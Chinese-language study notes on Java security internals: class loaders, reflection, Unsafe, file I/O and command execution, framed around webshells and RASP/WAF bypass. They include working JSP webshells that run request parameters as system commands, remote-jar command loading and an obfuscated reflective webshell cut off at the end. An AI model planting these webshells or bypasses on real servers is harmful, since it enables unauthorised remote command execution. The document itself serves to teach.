javap和hexdump
Javap 反编译 常用参数
-p 显示所有类和成员
-l 输出行号和本地变量表
-c 对代码进行反汇编
Hexdump
-C 查看二进制文件和代码
ClassLoader
一切的Java类都必须经过,JVM项目加载后才能运行,而ClassLoader的主要作用是Java文件的加载
JVM加载器中,自上而下分别有
- Bootstrap ClassLoader 引导类加载器
- Extension Classloader 扩展类加载器
- APP ClassLoader 系统类加载器 (默认)
如果类加载时,我们不指定类加载器的情况,默认会使用AppClassLoader
ClassLoader,getSystemClassLoader() 返回的系统加载器也是AppClassLoader()
但是要注意,我们可能在获取一个类加载器的时候,返回一个NULL
如:java.io.File.class.getClassLoader
将返回一个null对象,因为java.io.File
类在JVM初始化的时候会被Bootstrap
所加载,(该类加载器实现与JVM底层,采用C++编写),我们在尝试获取Bootstrap ClassLoader
类加载器所加载的类的ClassLoader
时候都会返回一个NULL
ClassLoader 类有如下的核心方法:
- loadClass:
加载指定的java类
- findClass:
查找指定的java类
- findLoaderClass:
查找JVM已经加载过的类
- defineClass:
定义一个java类
- resolveClass:
链接指定的java类
java类动态加载方式
- 显式:Java反射,ClassLoader来动态加载
- 隐式:方法名或者new类实例。
//反射加载TestHelloWorld示例
Class.forName("com.sec.classloader.TestHrlloWorld");
//ClassLoader加载TestHelloWorld实例
this.getclass().getClassLoader().loadClass("com.sec.classloader.TestHrlloWorld");
- Class.forName("类名"):默认会初始化被加载类的静态属性和方法
- ClassLoader.loadClass:默认不会初始化类方法
加载流程
ClassLoader
加载com.sec.classloader.TestHrlloWorld
类的重要流程如下
ClassLoader
会调用public Class<?> loadClass(String name)
方法加载com.sec.classloader.TestHrlloWorld
这个类- 调用
findLoadedClass
方法检查TestHelloWorld
类是否已经初始化,如果JVM已经初始化过该类,直接使用返回类对象 - 如果创建当前
ClassLoader
时传入了父类加载器(new ClassLoader(父类加载器)
),就使用父类加载器,否则使用JVM的Bootstrap ClassLoader
加载 - 如果无法找到,那么调用自身的
findClass
方法,尝试加载该类 - 如果当前的
ClassLoader
没有重写findClass
的方法,那么直接返回类加载失败异常,如果当前类重写了findClass
的方法,并且通过传入的路径找到了对应的类字节码,那么,那么应该调用defineClass
去JVM中注册这个类 - 如果调用
loadClass
时候传入的resolve
参数为true
,那么还需要调用resolveClass
方法去链接类,默认为false - 返回一个被JVM加载后的
java.lang.Class
的对象
自定义ClassLoader
java.lang.ClassLoader
是所有的类加载器的父类,有非常多的子类加载器,比如我们用于加载jar包的java.net.URLClassLoader
其本身通过继承java.lang.ClassLoader
类,重写了findClass
方法从而实现了加载目录class文件甚至是远程资源文件。
现在用来尝试写一个加载类器来加载自定义的字节码,并调用hello方法
如果com.sec.classloader.TestHelloWorld
类存在的情况下,我们可以使用如下代码即可实现调用hello
方法并输出:
TestHelloWorld t = new TestHelloWorld();
String str = t.hello();
System.out.println(str);
但是,如果不在我们的classpath
中,我们可以通过自定义的类加载器重写findClass
方法,然后在调用defineClass
的时候,传入该类的字节码,最后通过反射机制就可以调用TestHelloWorld
类的hello
方法了。
package com.anbai.sec.classloader;
import java.lang.reflect.Method;
/**
* Creator: yz
* Date: 2019/12/17
*/
public class TestClassLoader extends ClassLoader {
// TestHelloWorld类名
private static String testClassName = "com.anbai.sec.classloader.TestHelloWorld";
// TestHelloWorld类字节码
private static byte[] testClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,
16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,
1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,
97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,
101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,
114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,
32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,
115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,
116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,
97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,
0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,
1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,
0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,
0, 0, 0, 2, 0, 12
};
@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只处理TestHelloWorld类
if (name.equals(testClassName)) {
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}
return super.findClass(name);
}
public static void main(String[] args) {
// 创建自定义的类加载器
TestClassLoader loader = new TestClassLoader();
try {
// 使用自定义的类加载器加载TestHelloWorld类
Class testClass = loader.loadClass(testClassName);
// 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
Object testInstance = testClass.newInstance();
// 反射获取hello方法
Method method = testInstance.getClass().getMethod("hello");
// 反射调用hello方法,等价于 String str = t.hello();
String str = (String) method.invoke(testInstance);
System.out.println(str);
} catch (Exception e) {
e.printStackTrace();
}
}
}
利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码(只能算弱加密了)。
RASP(Runtime application self-protection)运行时应用自我保护
https://security.tencent.com/index.php/blog/msg/166https://security.tencent.com/index.php/blog/msg/166
native
凡是带了native关键字的,说明java的作用范围达不到了,回去调用底层C语言的库
-
会进入本地方法栈
-
调用本地方法本地接口[
`JNI
] -
JNI作用:扩展java使用,融合不同的编程语言为java所用,最初:C,C++
-
他在内存区域中,专门开辟了一块标记区域,Native method stack,登记native方法。
-
在最终执行的时候,加载本地方法库中的方法通过JNI
-
java程序驱动打印机,管理系统
URLClassLoader
URLClassLoader
继承了ClassLoader
,URLCLassLoader
提供了远程加载资源的能力,在写payload或者webshell的时候,我们可以使用这个特性来加载远程的jar,实现远程的方法调用。
例子
package URLClassLoader;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader {
public static void main(String[] args) {
try {
// 定义远程加载的jar路径
URL url = new URL("http://127.0.0.1/cmd/CMD.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 定义需要执行的系统命令
String cmd = "whoami";
// 通过URLClassLoader加载远程jar包中的CMD类
Class cmdClass = ucl.loadClass("CMD");
// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
运行成功截图
其中,cmd.jar包中就一个CMD.class
文件,内容如下:
import java.io.IOException;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
关于IDEA打包生成jar包,文章如下
Intellij Idea 将java项目打包成jar,cmd运行该jar_望穿秋水见伊人的博客-CSDN博客_idea把java项目打成jar包
java反射机制
- 是java重要的动态特性,也是java各种框架底层的实现灵魂
- 通过反射我们可以获取到,任何成员类的成员方法
Method
,成员变量Fields
,构造方法Constructors
等信息,还可以通过动态创建java
实例
获取Class对象
普通类型
Java反射操作的是java.lang.Class
对象,所以我们需要先想办法获取到Class对象,通常我们有如下几种方式获取一个类的Class对象。
- 类名.class
com.sec.classloader.TestHelloWorld.class
- Class.forName("类名")
Class.forName("com.sec.classloader.TestHelloWorld")
- ClassLoader.loadClass("类名")
ClassLoader.loadClass("com.sec.classloader.TestHelloWorld")
数组类型
- Class<?> doubleArray = Class.forName("[D");//相当于double[].class
- Class<?> cStringArray = Class.forName("[[Ljava.lang.String;");// 相当于String[][].class
获取runtime方法的对象的几种方法
- String className = "java.lang.Runtime"
- Class runtimeClass1 = Class.forName(className);
- Class runtimeClass2 = java.lang.Runtime.class;
- Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);
反射内部类的时候,需要$
来代替.
,如果,com.Test
有一个叫做Hello
的内部类时,我们需要用$
来进行替换,最后为com.Test$Hello
反射Runtime执行本地命令的代码片段
java.lang.Runtime
因为有一个exec
方法可以执行本地命令
不使用反射执行本地代码
这里需要导入Download org.apache.commons.io.jar : org.apache.commons « o « Jar File Download,这个jar包。
// 输出命令执行结果
System.out.println(IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(), "UTF-8"));
反射Runtime执行本地命令代码片段
package CMD;
import org.apache.commons.io.IOUtils;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Test1 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
// 获取Runtime类对象
Class runtimeClass1 = Class.forName("java.lang.Runtime");
String cmd="ipconfig";
// 获取构造方法
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);
// 创建Runtime类示例,等价于 Runtime rt = new Runtime();
Object runtimeInstance = constructor.newInstance();
// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);
// 调用exec方法,等价于 rt.exec(cmd);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);
// 获取命令执行结果
InputStream in = process.getInputStream();
// 输出命令执行结果
System.out.println(IOUtils.toString(in, "gb2312"));
}
}
优化一下逻辑流程,其实可以写成这样
package Shell;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
/**
* @author Kern
* @Title: Foo
* @ProjectName springmvcdemo
* @Description: TODO
* @date 2019/9/1916:28
*/
public class RunTimeToWindowCommand {
public static void main(String[] args) throws Exception {
System.out.println(exec("ipconfig"));
}
private static String exec(String... command) throws Exception {
String[] cmd = command;
StringBuilder out = new StringBuilder();
BufferedReader reader = null;
InputStream in = null;
try {
Process process = Runtime.getRuntime().exec(cmd);
in = process.getInputStream();
reader = new BufferedReader(new InputStreamReader(in,"gb2312"));
String line;
while ((line = reader.readLine()) != null) {
out.append(line + "\n");
}
process.waitFor();
} finally {
if (reader != null) {
reader.close();
}
}
String console = out.toString();
return console;
}
}
反射调用的基本流程如下
- 反射获取
Runtime
类对象
Class.forName("java.lang.Runtime")
- 使用Runtime类的
Class
对象获取Runtime
类的无参数构造方法,getDeclaredConstruction(),因为Runtime的构造方法是private的,我们无法直接调用,所以需要修改反射方法的权限constructor,setAccessible(true)
。 - 获取
Runtime
类的exec
方法,
runtimeClass1.getMetgod("exec",String.class)
- 调用
exec()
方法,
runtimeMethod.invoke(runtimeInsstance.cmd)
Process类:进程类
Invoke 方法 第一参数为表示要调用哪个对象的方法,第二个参数表示要向方法中传入的参数
注意
- Runtime类是一个私有的构造方法,不能直接被调用,即不能使用
Runtime rt = new Runtime();
- 上述中,我们借助了反射机制,默认修改了Runtime方法的访问权限,从而间接创建了
Runtime
对象 runtimeClass1.getDeclaredConstructor
和runtimeClass1.getConstructor
都可以获取到类构造方法,区别在于,后者无法获取到私有方法,所以一般在获取某个类的构造方法后,我们会使用前者去获取构造方法。如果构造方法有一个或者多个参数的情况下,我们应该在获取构造方法的时候,传入相应的参数数组类型,如:class.getDeclaredConstructor(String.class,String.class)
- 获取到
Constructor
以后,我们可以通过constructor.newInstance
来创建实例,如果有参数的情况下,我们应该传入对应的参数值,如:constructor.newInstance("admin","123456")
,当我们没有访问构造方法权限时,我们应该调用constructor.setAccessible(true)
修改访问权限
反射调用类方法
Class
对象提供了一个获取类的所有的成员方法的方法,也可以通过方法名和类型参数去指定成员方法
获取当前类所有的成员方法
Method[] method = getClass().getDeclaredMethods()
获取当前类指定的成员方法
Method method = getClass().DeclaredMethod("方法名");
Method method = getClass().DeclaredMethod("方法名",参数类型);
getMethod
和getDeclaredMethod
都能够获取到类成员方法,区别在于getMethod
只能获取到当前类和父类
的所有有权限的方法(如:public
),而getDeclaredMethod
能获取到当前类的所有成员方法(不包含父类)。
反射调用
获取到java.lang.reflect.Method
对象,我们可以通过method
的invoke
方法来调用类方法。
method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开);
反射调用成员变量
Java反射不但可以获取类所有的成员变量名称,还可以无视权限修饰符实现修改对应的值。
获取当前类的所有成员变量
Field fields = getClass().getDeclaredField()
获取当前指定类的成员变量
Field fields = getClass().getDeclaredField("变量名")
getField
和getDeclaredField
的区别同getMethod
和getDeclaredMethod
。
获取成员变量的值
Object obj = field.get(类实例对象)
修改成员变量值
field.set(类实例对象,修改后的值)
同理,当我们没有修改的成员变量权限时可以使用: field.setAccessible(true)
的方式修改为访问成员变量访问权限。
如果遇到了被final
关键字修饰的变量,我们需要先修改方法。
// 反射获取Field类的modifiers
Field modifiers = field.getClass().getDeclaredField("modifiers");
// 设置modifiers修改权限
modifiers.setAccessible(true);
// 修改成员变量的Field对象的modifiers值
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// 修改成员变量值
field.set(类实例对象, 修改后的值);
反射总结
Java反射机制是Java动态性中最为重要的体现,利用反射机制我们可以轻松的实现Java类的动态调用。Java的大部分框架都是采用了反射机制来实现的(如:Spring MVC
、ORM框架
等),Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用。
Sun.misc.Unsafe
sun.misc.Unsafe
是java
的底层API(仅限java内部对象使用,反射可调用)。Unsafe
提供了非常底层的内存、CAS、线程调度、类、对象
等操作、Unsafe
正如它的名字一样它提供的几乎所有的方法都是不安全的。
如何获取Unsafe对象
Unsafe
是Java内部API,外部是禁止调用的,在编译Java类时如果检测到引用了Unsafe
类也会有禁止使用的警告:Unsafe是内部专用 API, 可能会在未来发行版中删除。
import sun.reflect.CallerSensitive;
import sun.reflect.Reflection;
public final class Unsafe {
private static final Unsafe theUnsafe;
static {
theUnsafe = new Unsafe();
省去其他代码......
}
private Unsafe() {
}
@CallerSensitive
public static Unsafe getUnsafe() {
Class var0 = Reflection.getCallerClass();
if (var0.getClassLoader() != null) {
throw new SecurityException("Unsafe");
} else {
return theUnsafe;
}
}
省去其他代码......
}
上述可以看到,Unsafe是一个不能被继承的类,且不能直接通过new
的方式直接去创建实例,如果通过getUnsafe
方法获取Unsafe
实例还会检查类加载器,,默认只允许Bootstrap Classloader
调用。
既然无法直接通过Unsafe.getUnsafe()
的方式调用,那么可以使用反射的方式去获取Unsafe
类实例。
反射获取Unsafe
类实例代码片段:
// 反射获取Unsafe的theUnsafe成员变量
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
// 反射设置theUnsafe访问权限
theUnsafeField.setAccessible(true);
// 反射获取theUnsafe成员变量值
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
当然我们也可以用反射创建Unsafe
类实例的方式去获取Unsafe
对象:
// 获取Unsafe无参构造方法
Constructor constructor = Unsafe.class.getDeclaredConstructor();
// 修改构造方法访问权限
constructor.setAccessible(true);
// 反射创建Unsafe类实例,等价于 Unsafe unsafe1 = new Unsafe();
Unsafe unsafe1 = (Unsafe) constructor.newInstance();
allocateInstance无视构造方法创建类实例
UnSafeTest代码的片段
public class UnSafeTest {
private UnSafeTest() {
// 假设RASP在这个构造方法中插入了Hook代码,我们可以利用Unsafe来创建类实例
System.out.println("init...");
}
}
用Unsafe创建UnsafeTest对象
// 使用Unsafe创建UnSafeTest类实例
UnSafeTest test = (UnSafeTest) unsafe1.allocateInstance(UnSafeTest.class);
Google的JSON
库在JSON反序列化的时候就使用这个方式来创建类实例,在渗透测试中也会经常遇到这样的限制,比如RASP限制了java.io.FileInputStream
类的构造方法导致我们无法读文件或者限制了UNIXProcess/ProcessImpl
类的构造方法导致我们无法执行本地命令等。
defineClass直接调用JVM创建类对象
Unsafe
提供了一个通过传入类名、类字节码的方式就可以定义类的defineClass
方法:
public native Class defineClass(String var1, byte[] var2, int var3, int var4);
public native Class<?> defineClass(String var1, byte[] var2, int var3, int var4, ClassLoader var5, ProtectionDomain var6);
使用Unsafe**创建**TestHelloWorld 对象
package Unsafe;
import jdk.internal.misc.Unsafe;
import java.security.CodeSource;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
public class helloWorld {
private static final Object TEST_CLASS_NAME = null;
private static final Object TEST_CLASS_BYTES = null;
// 获取系统的类加载器
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
// 创建默认的保护域
ProtectionDomain domain = new ProtectionDomain(
new CodeSource(null, (Certificate[]) null), null, classLoader, null
);
private Unsafe unsafe1;
// 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类
Class helloWorldClass = unsafe1.defineClass(
TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length, classLoader, domain
);
}package Unsafe;
import jdk.internal.misc.Unsafe;
import java.security.CodeSource;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
public class helloWorld {
private static final Object TEST_CLASS_NAME = null;
private static final Object TEST_CLASS_BYTES = null;
// 获取系统的类加载器
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
// 创建默认的保护域
ProtectionDomain domain = new ProtectionDomain(
new CodeSource(null, (Certificate[]) null), null, classLoader, null
);
private Unsafe unsafe1;
// 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类
Class helloWorldClass = unsafe1.defineClass(
TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length, classLoader, domain
);
}
这个实例适用于java8
以前的版本,如果java8
中应该使用需要传类加载器和保护域的那个方法。Java 11
开始Unsafe
类已经把defineClass
方法移除了(defineAnonymousClass
方法还在)
JAVA 文件系统
JAVA io 文件系统
Java 抽象出了一个叫做文件系统的对象:java.io.FileSystem
,不同的操作系统有不一样的文件系统,例如:Windows
和Unix
就是两种不同的文件系统。
- java.io.UnixFileSystem
- java.io.WinNTFileSystem
java.io.FileSystem
是一个抽象类,它抽象了对文件的操作,不同操作系统版本的JDK会实现其抽象的方法从而也就实现了跨平台的文件的访问操作。
示例中的java.io.UnixFileSystem
最终会通过JNI调用native方法来实现对文件的操作:
但是有几点
- 不是所有的文件操作都在
java.io.FileSystem
中定义,文件的读物最终调用的是java.io.FileInputStream#read0,readBytes
,java.io.RandomAccessFile#read0,readBytes
,而写文件调用的是,java.io.FileOutStream#writeBytes
,java.io.RandomAccessFile#write0
- java有两类文件系统的API,一类是基于
阻塞模式
IO的文件系统,另一类是JDK7
+基于NIO.2
的文件系统
Java NIO.2文件系统
java.nio.file.spi.FileSystemProvider
对文件的封装和java.io.FileSystem
同理。
NIO的文件操作在不同的系统的最终实现类也是不一样的,比如Mac的实现类是:sun.nio.fs.UnixNativeDispatcher
,而Windows的实现类是sun.nio.fs.WindowsNativeDispatcher
合理的利用NIO文件系统这一特性我们可以绕过某些只是防御了java.io.FileSystem
的WAF
/RASP
。
Java IO/NIO 多种读写方式
我们通常读写文件都是使用的阻塞模式,与之对应的也就是java.io.FileSystem
。java.io.FileInputStream
类提供了对文件的读取功能,Java的其他读取文件的方法基本上都是封装了java.io.FileInputStream
类,比如:java.io.FileReader
。
使用FileInputStream的DEMO
package Input;
import java.io.*;
public class FileInput {
public static void main(String[] args) throws IOException {
File file = new File("src/Input/1.txt");
//打开文件对象并建立输入流
FileInputStream fis = new FileInputStream(file);
//定义每次输入流取得的字节对象
int a=0;
//定义缓冲区大小
byte[] bytes = new byte[1024];
//创建二进制对象输出流
ByteArrayOutputStream out = new ByteArrayOutputStream();
//循坏读取文件内容
while((a=fis.read(bytes))!=-1){
//截取缓冲区数组的内容,(bytes,0,a)其中的0表示从bytes数组的下标0开始截取
//a表示输入流截取到的对象
out.write(bytes,0,a);
}
System.out.println(out.toString());
}
}
FileOutputStream
package Input;
import java.io.*;
import java.nio.charset.StandardCharsets;
public class OutPut {
public static void main(String[] args) throws IOException {
File file = new File("src/Input/1.txt");
//定义写入的文件内容
String content = "Hello World";
//创建FileOutputStream对象
FileOutputStream fos = new FileOutputStream(file,true);
//写入内容二进制到文件
fos.write(content.getBytes(StandardCharsets.UTF_8));
fos.write("\r\n".getBytes());//换行
fos.flush();
fos.close();
}
}
但是这样写会把原来的文件覆盖掉,如果想要追加的话,追加一个true
参数即可。
FileOutputStream fos = new FileOutputStream(file,true);
fos.write("\r\n".getBytes());//换行
RandomAccessFile
Java提供了一个非常有意思的的类java.io.RandomAccessFile
,这个类可以写文件,也可以读文件。
读文件
package Input;
import java.io.*;
public class RandomAccessFileDemo {
public static void main(String[] args) throws IOException {
File file = new File("src/Input/1.txt");
try {
// 创建RandomAccessFile对象,r表示以只读模式打开文件,一共有:r(只读)、rw(读写)、
// rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。
RandomAccessFile raf = new RandomAccessFile(file,"r");
//定义每次输入流读取到的字节对象
int a=0;
//定义缓冲区大小
byte[] bytes = new byte[1024];
//创建二进制对象输出流
ByteArrayOutputStream out = new ByteArrayOutputStream();
//循环读取文件
while((a=raf.read(bytes))!=-1){
// 截取缓冲区数组中的内容,(bytes, 0, a)其中的0表示从bytes数组的
// 下标0开始截取,a表示输入流read到的字节数。
out.write(bytes, 0, a);
}
System.out.println(out.toString());
} catch (FileNotFoundException e) {
e.printStackTrace();
}
}
}
任意文件读取特性体现在以下方法:
// 获取文件描述符
public final FileDescriptor getFD() throws IOException
// 获取文件指针
public native long getFilePointer() throws IOException;
// 设置文件偏移量
private native void seek0(long pos) throws IOException;
写文件
public class RandomOut {
public static void main(String[] args) throws IOException {
File file = new File("src/Input/1.txt");
//定义写入的内容
String content = "Hello";
RandomAccessFile raf = new RandomAccessFile(file,"rw");
//写入二进制文件
raf.write(content.getBytes(StandardCharsets.UTF_8));
raf.close();
}
}
暂时没找到,怎么进行文件追加
FileSystemProvider
java.nio.file.Files
是JDK7
以来的一种非常便捷的API,其底层是调用了java.nio.file.spi.FileSystemProvider
来实现对文件的读写。最为底层的实现类是sun.nio.ch.FileDispatcherImpl#read0
。
写文件
package Input;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class FileSystemDemo {
public static void main(String[] args) throws IOException {
// File file = new File("src/input/1.txt");
// Path path1 = file.toPath();
//定义文件读取的路径
Path path = Paths.get("src/Input/1.txt");
byte[] bytes = Files.readAllBytes(path);
System.out.println(new String(bytes));
}
}
基于NIO的文件读取逻辑是:打开FileChannel->读取Channel内容
打开FileChannel的调用链是:
sun.nio.ch.FileChannelImpl.<init>(FileChannelImpl.java:89)
sun.nio.ch.FileChannelImpl.open(FileChannelImpl.java:105)
sun.nio.fs.UnixChannelFactory.newFileChannel(UnixChannelFactory.java:137)
sun.nio.fs.UnixChannelFactory.newFileChannel(UnixChannelFactory.java:148)
sun.nio.fs.UnixFileSystemProvider.newByteChannel(UnixFileSystemProvider.java:212)
java.nio.file.Files.newByteChannel(Files.java:361)
java.nio.file.Files.newByteChannel(Files.java:407)
java.nio.file.Files.readAllBytes(Files.java:3152)
com.sec.filesystem.FilesDemo.main(FilesDemo.java:23)
文件的读取调用链是:
sun.nio.ch.FileChannelImpl.read(FileChannelImpl.java:147)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:65)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:109)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:103)
java.nio.file.Files.read(Files.java:3105)
java.nio.file.Files.readAllBytes(Files.java:3158)
com.sec.filesystem.FilesDemo.main(FilesDemo.java:23)
读文件
package Input;
import java.io.File;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
public class FileSystemInputDemo {
public static void main(String[] args) throws IOException {
Path path = Paths.get("src/Input/1.txt");
String coentent = "Hello 1111111";
Files.write(path,coentent.getBytes(StandardCharsets.UTF_8), StandardOpenOption.APPEND);
}
}
当我们需要追加写的时候,可以使用StandardOpenOption.
APPEND
参数,如果是覆盖重写,直接删除该参数即可。
java文件名空字节截断漏洞
空字节截断漏洞在诸多编程语言中都存在。究其根本是Java在调用文件系统(C实现)读写文件时导致的漏洞,并不是Java本身的安全问题。不过好在高版本的JDK在处理文件时已经把空字节文件名进行了安全检测处理。
在java.io.File
中加了一个方法,isInvalid
方法,专门检测文件名是否包含了空字节。
/**
* Check if the file has an invalid path. Currently, the inspection of
* a file path is very limited, and it only covers Nul character check.
* Returning true means the path is definitely invalid/garbage. But
* returning false does not guarantee that the path is valid.
*
* @return true if the file path is invalid.
*/
final boolean isInvalid() {
if (status == null) {
status = (this.path.indexOf('\u0000') < 0) ? PathStatus.CHECKED
: PathStatus.INVALID;
}
return status == PathStatus.INVALID;
}
修复前(Java SE 7 Update 25
)和修复后(Java SE 7 Update 40
)的对比会发现Java SE 7 Update 25
中的java.io.File
类中并未添加\u0000
的检测。
而JDK8发布时间在JDK7修复以后所以并不受此漏洞影响。
package NullBytes;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
public class FileNullBytes {
public static void main(String[] args) throws IOException {
String filename = "src/Input/1.txt/u0000.jpg";
FileOutputStream fos = new FileOutputStream(new File(filename));
fos.write("Test".getBytes(StandardCharsets.UTF_8));
fos.flush();
fos.close();
}
}
JDK1.7.0.25
测试成功截断文件名,但是使用JDK1.7.0.80
测试写文件截断时抛出java.io.FileNotFoundException: Invalid file path
异常。
利用场景
利用空字节截断的场景,最常见的就是文件上传
时候,后端使用了endWith
,正则使用.jpg|png|gif)$
验证文件名后缀合法性且最终文件名,最终原样保存。同理,文件删除,(delete)
,获取文件路径(getCanonicalPath
),创建文件(createNewFile
),文件重命令也一样。
修复方法
最简单直接的方式就是升级JDK,如果担心升级JDK出现兼容性问题可在文件操作时检测下文件名中是否包含空字节,如JDK的修复方式:fileName.indexOf('\u0000')
即可。
JAVA本地命令执行
Runtime命令执行
在java中我们经常用java.lang.Runtime
类的exec
方法来执行系统的本地命令
在jsp中执行cmd命令的示例
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
这里遇到一点问题,就是在不传入参数的时候,会报一个状态码是500的错误,但是日志回显是和Servlet
的错误。
其实是没有传入参数的一个错误,,这里补上参数就能执行命令,然后页面会回显类似于这样的东西
这里ylg师傅给了一个新的马:
<%
if(request.getParameter("i")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%><%
if(request.getParameter("i")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
用IO
流,将他的回显输出
Runtime命令执行的调用链
java.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)
通过整个调用链的逻辑我们可以清楚看到,exec
方法不是命令执行的最终点,执行逻辑大致是
- Runtime.exec(xxx)
- java.lang.ProcessBuilder.start()
- New java.lang.UNIXProcess(xxx)
- UNIXProcess 构造方法中调用了
forkAndExec(xxx)
的native方法 forkAndExec
调用操作系统级别fork
->exec
(*nix)/CreateProcess
(Windows)执行命令并返回fork
/CreateProcess
的PID
。
反射Runtime命令执行
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>
<%
String str = request.getParameter("str");
// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
// 反射java.lang.Runtime类获取Class对象
Class<?> c = Class.forName(rt);
// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
